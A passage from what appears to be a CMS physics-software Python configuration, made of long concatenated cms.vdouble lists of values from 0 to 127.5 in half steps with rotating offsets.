103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5)+cms.vdouble(125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124)+cms.vdouble(124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5)+cms.vdouble(124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123)+cms.vdouble(123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5)+cms.vdouble(123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122)+cms.vdouble(122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5)+cms.vdouble(122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121)+cms.vdouble(121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5)+cms.vdouble(121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120)+cms.vdouble(120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5)+cms.vdouble(120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119)+cms.vdouble(119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5)+cms.vdouble(119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118)+cms.vdouble(118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5)+cms.vdouble(118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 